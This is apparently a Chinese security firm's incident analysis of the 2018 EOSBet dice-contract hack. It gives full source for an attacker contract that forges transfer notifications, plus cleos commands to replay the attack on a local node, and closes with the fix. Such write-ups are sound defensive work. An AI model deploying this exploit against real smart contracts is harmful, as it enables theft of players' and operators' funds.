Written by WeaponX@零时科技
本文所有过程均在本地测试节点完成
文章用到的所有代码均在
0x00 背景
EOSBet
在2018年10月14日遭到黑客攻击,根据EOSBet
官方通告,此次攻击共被盗142,845 EOS
(折合人民币510万,10月14日价格)。
0x01 技术分析
由于EOSBet
官方在2018.09.14
被黑客攻击后,将源代码开源至gitlab
上,经过分析EOSBet
官方合约eosbetdice11
的转账记录,我们初步判断黑客可能是利用了转账通知伪造攻击。我们就直接分析源码来寻找安全问题。
首先,我们审查一下EOSIO_BAI_EX
#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token)) {
if( action == N(transfer)){
eosio_assert( code == N(eosio.token), "Must transfer EOS");
}
TYPE thiscontract( self );
switch( action ) {
EOSIO_API( TYPE, MEMBERS )
}
/* does not allow destructor of thiscontract to run: eosio_exit(0); */
}
}
}
这个代码在2018年9月14日
被黑客攻击后已经修复相关漏洞,验证了transfer
的调用者只能是eosio.token
,也就是说只有支付了eosio.token
发布的EOS
才能进行相关的游戏操作。
这块代码是没有问题的。然后,我们审查一下transfer
函数
void transfer(uint64_t sender, uint64_t receiver) {
auto transfer_data = unpack_action_data<st_transfer>();
if (transfer_data.from == _self || transfer_data.from == N(eosbetcasino)){
return;
}
...
}
验证转账账户不是自己或转账账户不是eosbetcasino
才能进行相关的游戏操作。问题就出在这,EOSBet
没有验证转账消息是否和自己有关就开始了相关操作。
黑客可以通过创建两个子账户A
和B
,只要给B
账户部署以下合约
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;
class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}
//@abi action
void transfer(account_name from, account_name to, asset quantity, std::string memo) {
if(from == _self || to != _self)
return;
require_recipient(N(eosbetdice11));
}
};
#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token)) {
if( action == N(transfer)){
eosio_assert( code == N(eosio.token), "Must transfer EOS");
}
TYPE thiscontract( self );
switch( action ) {
EOSIO_API( TYPE, MEMBERS )
}
/* does not allow destructor of thiscontract to run: eosio_exit(0); */
}
}
}
EOSIO_ABI_EX( attack,
(transfer)
)
就可以子账号间的转账A->B
时将转账通知recipient
抄送给eosbetdice11
,进行相关的抽奖游戏且不用消耗任何的EOS
,简单来说就是输了不用赔钱,赢了还能赚钱。
0x02 攻击复盘
创建eosio.token
账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token
合约并初始化
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio user EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
编译攻击者合约并部署
#编译攻击合约
eosiocpp -o attacker.wast attacker.cpp
eosiocpp -g attacker.abi attacker.cpp
#部署攻击合约
cleos set contract attacker /home/user/contract/attacker -p attacker
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["user", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
部署游戏合约并初始化
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客发起攻击
#发起攻击
cleos push action eosio.token transfer '["user", "attacker", "10.0000 EOS", "88-attacker-attacker"]' -p user
可以看到,因为黑客的attacker
合约require_recipient(N(eosbetdice11))
,eosio.token
又将转账通知发送给了eosbetdice11
。
#查询抽奖订单
cleos get table eosbetdice11 eosbetdice11 activebets
查询相关账户的余额
cleos get currency balance eosio.token user EOS
cleos get currency balance eosio.token attacker EOS
cleos get currency balance eosio.token eosbetdice11 EOS
可见黑客控制的账户总余额没有变化,EOSBet
账户金额也没有变化,却生成了游戏订单。
对订单签名并开奖
#对订单签名
node sign.js
#开奖
cleos push action eosbetdice11 resolvebet '["4601087045072102575","SIG_K1_KBSXxckQiZYULG5dMrx2tYWfxPZBCZrCE9FRmhWofoeLQTW5WDubaMdCndc2dVSquHeUeQBG8d9dtaAec6BUxsmCnmSGFh"]' -p
eosbetcasino@random
开奖成功,黑客中奖
0x03 后记
EOSBet
官方在受到攻击后做了以下加固,在transfer
函数中对转账的付款人和收款人做了限制,必须 有一项是合约本身。也就是说,转账和自身合约有关的才会去处理。
eosio_assert(transfer_data.from == _self || transfer_data.to == _self, “Must be incoming or outgoing transfer”);
至此,EOSBet
才正确的修复了假充值漏洞。
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
-
通知是否来自
eosio.token
,即只处理eosio.token
发送的通知eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
-
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
0x05 Refer
本文来自,仅作分享,存在异议请联系平台删除。本文观点不代表刺猬财经 - 刺猬区块链资讯站立场。